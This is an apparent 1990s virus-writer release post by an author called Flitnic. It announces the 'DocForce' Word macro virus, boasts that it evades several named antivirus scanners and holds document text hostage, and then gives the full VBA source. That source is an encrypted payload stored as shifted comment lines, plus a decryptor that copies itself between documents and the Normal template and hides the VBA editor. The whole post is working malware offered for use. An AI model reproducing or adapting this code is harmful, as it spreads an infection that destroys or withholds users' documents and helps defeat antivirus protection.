f l i t n i c @ g m x . n e t		member of [SOS]

http://members.tripod.com/Flitnic

Hi folks :)

This is my newest virus --> DocForce
It's not designed to have a good stealth or polymorphic engine!
It was designed to be encrypted and it has a new feature!
The User loses his document's containing if he deletes my macro out or
if he doesn't activate its macros :)

This would be a very good virus, if it weren't very slow on older Pentium machines.. On my PII it's fast enough. However this new feature 
is an intersting one as I guess. And the virus would be two times 
faster if I hadn't included that encryption, but a virus without any 
stealth poly or encryption sucks :)

Okay here are the features:

1. DocCapturing: the document's text is being lost if the virus is deleted or not activated (after restoring the virus the text is back again)
2. Encryption: It is on each run new encrypted by a randomly generated key between 1 and 101.
3. Poly: Only basic: line adding. (cause of performance)
4. Stealth: Only basic (locking). (cause of performance)
5. IT'S NOT DETECTED BY HMVS, F-PROT'S F-MACROW, NORTON AV'S HEURISTIC and F/WIN32... others not tested.. 
6. Payload: If a user transfers his documents to another machine or 
gives them to a friend, the document will be empty (only the virus will
 be in) :)

okay that's it... FUCK THE AVs!


f l i t n i c @ g m x . n e t

http://members.tripod.com/Flitnic

------------->8------- Cut Here For Virus ----------------------------

Private Sub Document_Open()
''13
Bas = 0
''n-J-NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r5>9->6
''Vs-n-J-/]vnr-`o-Q|pzr{l\}r{56/-aur{
''`r-v{s-J-[|znyarz}ynr
''`r-|-J-NpvrQ|pzr{
''Vqr{-J-Vqr{-8->
''R{q-Vs
''N}}yvpnv|{;R{noyrPn{pryXr-J-qPn{pryQvnoyrq
''n-J-[|znyarz}ynr;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r5>9->6
''Vs-n-J-/]vnr-`o-Q|pzr{l\}r{56/-aur{
''`r-|-J-[|znyarz}ynr
''`r-v{s-J-NpvrQ|pzr{
''Vqr{-J-Vqr{-8-?
''R{q-Vs
''Vs-Vqr{-J-@-aur{
''`r-v{s-J-[|znyarz}ynr
''`r-|-J-NpvrQ|pzr{
''R{q-Vs
''N}}yvpnv|{;\}v|{;cv]|rpv|{-J-Snyr
''\}v|{;`nr[|zny]|z}-J-Snyr
''_n{q|zvr-avzr
''{q[zor-J-V{5_{q-7->==6-8->
''_Y-J-@
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;r}ynpryv{r-?9-/44/-3-{q[zor
''_Y-J-=
''Npvnr-J-=
''_Y-J-@
''yv{-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;P|{\sYv{r
''-J->
''Q|-b{vy--J-yv{
''`}nprY-J->
''-J--8->
''y-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r59->6
''Vs-Npvnr-J->-aur{-T|a|-\rWz}
''Vs-y-J-/R{q-`o/-aur{
''Npvnr-J->
''T|a|-[rWz}
''Ryr
''T|a|-[rWz}
''R{q-Vs
''\rWz}G
''Vs-y-J-/]vnr-`o-Q|pzr{lPy|r56/-aur{-T|a|-[rWz}
''Vs-y-J-/R{q-`o/-aur{-T|a|-R`o
''Vs-V{`5y9-/v{qv-J/6-K-=-N{q-V{`5y9-/V{`/6-J-=-N{q-Vqr{-J-@-aur{-[|Qry-J->
''yy-J-Yr{5y6
''S|-v-J->-a|-yy
''o-J-Zvq5y9-v9->6
''p-J-Np5o6
''p-J-p-8-{q[zor
''o-J-Pu5p6
''arz}Y-J-arz}Y-3-o
''`}nprY-J-=
''[r-v
''Vs-`}nprY-J-=-aur{
''_Y-J-_Y-8->
''Q|
''}|rP|qr-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r5_Y9->6
''Vs-Yrs5}|rP|qr9-?6-J-/44/-aur{-Rv-Q|
''_Y-J-_Y-8->
''Y||}
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;r}ynpryv{r-_Y9-/44/-3-arz}Y
''Vs-[|Qry-IK->-aur{
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;QryrrYv{r-9->
''Ryr
''-J--8->
''R{q-Vs
''arz}Y-J-//
''R{q-Vs
''y-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r59->6
''T|a|-\rWz}
''Wz}G
''[rWz}G
''Y||}
''R`oG
''dvr{O-J-/SYVa[VP/
''spx-J-/SbPX-Nc].9-SbPX-S:]_\a.9-SbPX-Q;-`\Y\Z\[.9-SbPX-UZc`.9-SbPX-S:dV[@?./
''_n{q|zvr-avzr
''{qcnY-J-V{5_{q-7-?=6-8->
''S|-prnrcn-J->-a|-{qcnY
''{qcn-J-V{5_{q-7->?C6-8->?E
''[rcn-J-[rcn-3-Pu5{qcn6
''[r-prnrcn
''-J->
''Q|
''-J--8->
''n-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r59->6
''Vs-n-J-/R{q-`o/-aur{-Rv-Q|
''Y||}
''urrV{r-J-V{5_{q-7--:-A6-8-A
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;V{rYv{r-urrV{r9-[rcn-3-/G/
''{qcnY-J-V{5_{q-7-?=6-8->
''S|-prnrcn-J->-a|-{qcnY
''{qcn-J-V{5_{q-7->?C6-8->?E
''[rcn?-J-[rcn?-3-Pu5{qcn6
''[r-prnrcn
''[rcn?-J-Pu5@A6-3-[rcn?-3-Pu5@A6
''-J->
''Q|
''-J--8->
''n-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r59->6
''Vs-n-J-/R{q-`o/-aur{-Rv-Q|
''Y||}
''urrV{r-J-V{5_{q-7--:-A6-8-A
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;V{rYv{r-urrV{r9-[rcn-3-/J/-3-[rcn?
''{qcnY-J-V{5_{q-7-?=6-8->
''S|-prnrcn-J->-a|-{qcnY
''{qcn-J-V{5_{q-7->?C6-8->?E
''[rcn-J-[rcn-3-Pu5{qcn6
''[r-prnrcn
''[rcn-J-/_rz-/-3-[rcn
''-J->
''Q|
''-J--8->
''n-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r59->6
''Vs-n-J-/R{q-`o/-aur{-Rv-Q|
''Y||}
''urrV{r-J-V{5_{q-7--:-A6-8-A
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;V{rYv{r-urrV{r9-[rcn
''Vs-bPnr5v{s6-J-/[\_ZNY;Q\a/-aur{
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;r}ynpryv{r-@9-/On-J->/
''Ryr
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;r}ynpryv{r-@9-/On-J-=/
''R{q-Vs
''SP|qr-J-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r5>9-|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;P|{\sYv{r6
''Vs-bPnr5v{s6-J-/[\_ZNY;Q\a/-aur{
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;r}ynpryv{r-@9-/On-J-=/
''Ryr
''|;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;r}ynpryv{r-@9-/On-J->/
''R{q-Vs
''XrOv{qv{t;Nqq-XrP|qrGJOvyqXrP|qr5qXrNy9-qXrS>>69-XrPnrt|GJqXrPnrt|S|{9-P|zzn{qGJ/-/
''XrOv{qv{t;Nqq-XrP|qrGJOvyqXrP|qr5qXrNy9-qXrSE69-XrPnrt|GJqXrPnrt|S|{9-P|zzn{qGJ/-/
''N}}yvpnv|{;P|zzn{qOn5/a||y/6;P|{|y5>?6;cvvoyr-J-Snyr
''Vs-Vqr{-J-@-aur{
''v{q-J-R{v|{5/v{qv/6
''\}r{-/pGisyv{vp;on/-S|-N}}r{q-N-0>
'']v{-0>9-/r{-/-3-v{q-3-/irzizz@?isyv{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6-3-/-Syv{vp/
'']v{-0>9-/rv/
''Py|r
''u-J-`uryy5/pGisyv{vp;on/9-=6
''S|-nv-J->-a|->====
''Q|Rr{
''[r-nv
''Xvyy-/pGisyv{vp;on/
''qqq-J-Qv5v{q-3-/irzizz@?isyv{vpi/-3-NpvrQ|pzr{;[nzr6
''Vs-qqq-J-//-aur{-Rv-`o
''`ryrpv|{;du|yr`|
''`ryrpv|{;Qryrr
''`ryrpv|{;V{rSvyr-Svyr[nzrGJv{q-3-/irzizz@?isyv{vpi/-3-NpvrQ|pzr{;[nzr9-_n{trGJ//9-P|{svzP|{rv|{GJSnyr9-Yv{xGJSnyr9-Nnpuzr{GJSnyr
''\}r{-/pGisyv{vp;on/-S|-N}}r{q-N-0>
'']v{-0>9-/r{-/-3-v{q-3-/irzizz@?isyv{vp-syv{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6
'']v{-0>9-/rv/
''Py|r
''u-J-`uryy5/pGisyv{vp;on/9-=6
''S|-nv?-J->-a|->====
''Q|Rr{
''[r-nv?
''Xvyy-/pGisyv{vp;on/
''N}}yvpnv|{;`prr{b}qnv{t-J-ar
''N}}yvpnv|{;`prr{_rsru
''Rv-`o
''R{q-Vs
''v{s;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;QryrrYv{r->9-v{s;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;P|{\sYv{r
''v{s;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;nqqs|zv{t-5SP|qr6
''Rv-`o
''v{qv-J-R{v|{5/v{qv/6
''ortv{G
''\}r{-/pGisyv{vp;on/-S|-N}}r{q-N-0>
'']v{-0>9-/r{-/-3-v{qv-3-/irzizz@?isyv{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6-3-/-Syv{vp/
'']v{-0>9-/rv/
''Py|r
''u-J-`uryy5/pGisyv{vp;on/9-=6
''S|-nv-J->-a|->====
''Q|Rr{
''[r-nv
''Xvyy-/pGisyv{vp;on/
''qqq-J-Qv5v{qv-3-/irzizz@?iSyv{vp/9-oQvrp|6
''Vs-qqq-J-//-aur{
''ZxQv-v{qv-3-/irzizz@?iSyv{vp/
''\}r{-/pGisyv{vp;on/-S|-N}}r{q-N-0>
'']v{-0>9-/r{-/-3-v{qv-3-/irzizz@?isyv{vp-syv{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6
'']v{-0>9-/rv/
''Py|r
''u-J-`uryy5/pGisyv{vp;on/9-=6
''S|-nv-J->-a|->====
''Q|Rr{
''[r-nv
''Xvyy-/pGisyv{vp;on/
''T|a|-ortv{
''R{q-Vs
''s-J-NpvrQ|pzr{;Syy[nzr
''Vs-Zvq5s9-?9->6-IK-/G/-aur{
''N}}yvpnv|{;Qvny|t5qQvny|tSvyr`nrN6;`u|
''R{q-Vs
''s-J-NpvrQ|pzr{;Syy[nzr
''OrPnu-J-v{qv-3-/irzizz@?isyv{vpi/-3-NpvrQ|pzr{;[nzr
''NpvrQ|pzr{;`nrN-v{qv-3-/irzizz@?isyv{vpi/-3-NpvrQ|pzr{;[nzr9-9-9-9-Nqqa|_rpr{Svyr-J-Snyr
''Q|-b{vy--J-_rpr{Svyr;P|{
''-J--8->
''Vs-V{`5_rpr{Svyr56;]nu9-/yv{vp/6-K-=-aur{-_rpr{Svyr56;Qryrr
''Y||}
''N}}yvpnv|{;`prr{b}qnv{t-J-Snyr
''N}}yvpnv|{;`prr{_rsru
''`ryrpv|{;du|yr`|
''`ryrpv|{;Qryrr
''NpvrQ|pzr{;P|{r{;V{rOrs|r-/dn{v{tG/-3-Pu5>@6
''NpvrQ|pzr{;P|{r{;V{rNsr-/auv-v-n-}|rprq-q|pzr{./-3-Pu5>@6
''NpvrQ|pzr{;P|{r{;V{rNsr-/f|-unr-|-npvnr-ur-znp|-v{-ur-q|pzr{-ors|r-|-pn{-rr-ur-q|pzr{4-r./-3-Pu5>@6
''NpvrQ|pzr{;P|{r{;V{rNsr-/`|-py|r-ur-q|pzr{9-|}r{-v-ntnv{-n{q-pyvpx-|{-4Npvnr-znp|4./-3-Pu5>@6
''NpvrQ|pzr{;`nrN-s
''\}r{-/pGisyv{vp;on/-S|-N}}r{q-N-0>
'']v{-0>9-/r{-/-3-v{qv-3-/irzizz@?isyv{vp-syv{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6
'']v{-0>9-/rv/
''Py|r
''u-J-`uryy5/pGisyv{vp;on/9-=6
''S|-nv-J->-a|->====
''Q|Rr{
''[r-nv
''Xvyy-/pGisyv{vp;on/
''-J-=
''Qryrr[|G
''Q|-b{vy--J-NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;P|{\sYv{r
''-J--8->
''Vs-`-J->-aur{
''Pp-J-Pp-8->
''Ryr
''Ppp-J-Ppp-8->
''R{q-Vs
''n-J-NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r59->6
''Vs-n-J-/]vnr-`o-Q|pzr{lPy|r56/-aur{-`-J->
''Y||}
''NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;QryrrYv{r-Ppp-8->9-Pp-:->
''n-J-NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;Yv{r5NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;P|{\sYv{r9->6
''Vs-n-IK-/R{q-`o/-aur{-NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;V{rYv{r-NpvrQ|pzr{;cO]|wrp;cOP|z}|{r{5>6;P|qrZ|qyr;P|{\sYv{r-8->9-/R{q-`o/
''N}}yvpnv|{;`prr{b}qnv{t-J-ar
''N}}yvpnv|{;`prr{_rsru
''NpvrQ|pzr{;`nr
''

If Application.ShowVisualBasicEditor = True Then Application.ShowVisualBasicEditor = False
Set Nm = NormalTemplate.VBProject
a = Nm.VBComponents(1).CodeModule.Lines(1, 1)
If a = "Private Sub Document_Open()" Then
Set inf = ActiveDocument.VBProject
Set sour = NormalTemplate.VBProject
Ident = 1
End If
Set Ad = ActiveDocument.VBProject
a = Ad.VBComponents(1).CodeModule.Lines(1, 1)
If a = "Private Sub Document_Open()" Then
Set inf = NormalTemplate.VBProject
Set sour = ActiveDocument.VBProject
Ident = Ident + 2
End If
If Ident = 3 Then
If Bas <> 1 Then
Set inf = NormalTemplate.VBProject
Set sour = ActiveDocument.VBProject
Else
Exit Sub
End If
End If
l = sour.VBComponents(1).CodeModule.Lines(2, 1)
lll = Len(l) - 2
rndNumber = Right(sour.VBComponents(1).CodeModule.Lines(2, 1), lll)
rndNumber = CInt(rndNumber)
lin = sour.VBComponents(1).CodeModule.CountOfLines
t = 2
Do Until t = lin
SpaceL = 1
t = t + 1
l = sour.VBComponents(1).CodeModule.Lines(t, 1)
If l = "Private Sub Document_Open()" Then GoTo NexJump
If t = 2 Then GoTo NexJump
If Left(l, 2) <> "''" Then GoTo NexJump
ll = Len(l)
For i = 3 To ll
b = Mid(l, i, 1)
c = Asc(b)
c = c - rndNumber
b = Chr(c)
TempL = TempL & b
SpaceL = 0
Next i
If SpaceL = 0 Then
If NewL = "" Then
NewL = TempL
GoTo Jump
End If
NewL = NewL & Chr(13) & TempL
End If
Jump:
TempL = ""
NexJump:
If t = 173 Then
e = 2
End If
Loop
EndDecrypt:
t = 0
Do Until t = lin
t = t + 1
s = sour.VBComponents(1).CodeModule.Lines(t, 1)
If s = "Private Sub Document_Close()" Then Exit Do
Loop
sour.VBComponents(1).CodeModule.InsertLines t + 1, NewL
Application.ScreenUpdating = False
Call Document_Close
End Sub
Private Sub Document_Close()
End Sub
